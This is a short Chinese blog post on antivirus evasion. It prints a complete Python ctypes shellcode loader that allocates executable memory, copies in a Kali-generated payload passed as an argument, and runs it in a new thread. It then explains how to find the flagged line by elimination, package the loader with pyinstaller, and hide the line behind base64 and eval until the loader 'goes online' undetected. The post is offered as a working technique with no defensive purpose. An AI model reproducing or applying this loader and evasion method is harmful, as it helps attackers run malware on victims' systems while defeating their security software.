前言
Bypass AV一直都是安全安全圈的热门话题,之前多少也有过接触,由于用不到,就没怎么关注。这次刚好趁假期,来研究研究。(由于很多名词网上解释很多,本文只作记录,故不多加解释)
Base编写
关于Bypass AV常听说几个名词:分离免杀、源码免杀。所谓分离免杀,就是shellcode和加载器分开。源码免杀是从源代码层面免杀。
分离的话,直接把shellcode当作参数带入即可。我个人更擅长python一些,所以就利用python语言来Bypass。
从网上找到一个最基础的loader
loader_3.py
# coding: utf-8
import ctypes
import sys
#(kali生成payload存放位置)
shellcode = bytearray(bytes.fromhex(sys.argv[1]))
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
对copy的代码稍作更改,改为从参数获取shellcode,经测试功能可行,不过直接被AV拦截。
Bypass 探索
基础版本测试可用,下面就针对源码进行免杀探索。
我这里采用了一种比较笨的办法,一行一行测试,找出特征码:
只保留第一行,其他行注释掉,然后打包
pyinstaller loader_3.py -F
打包后扫描,正常
直到测试到第四行,开始报毒
注释掉这行,其他全部放开,打包后正常,不再报毒。那么接下来就需要对第四行代码尽心进一步免杀了。
常用的办法是对这块代码进行base64加密,然后再解密,通过eval函数来执行:
string = b"base64密文"
eval(str(base64.b64decode(string),'utf-8'))
最终,第四行改为这样
上线
基本够用。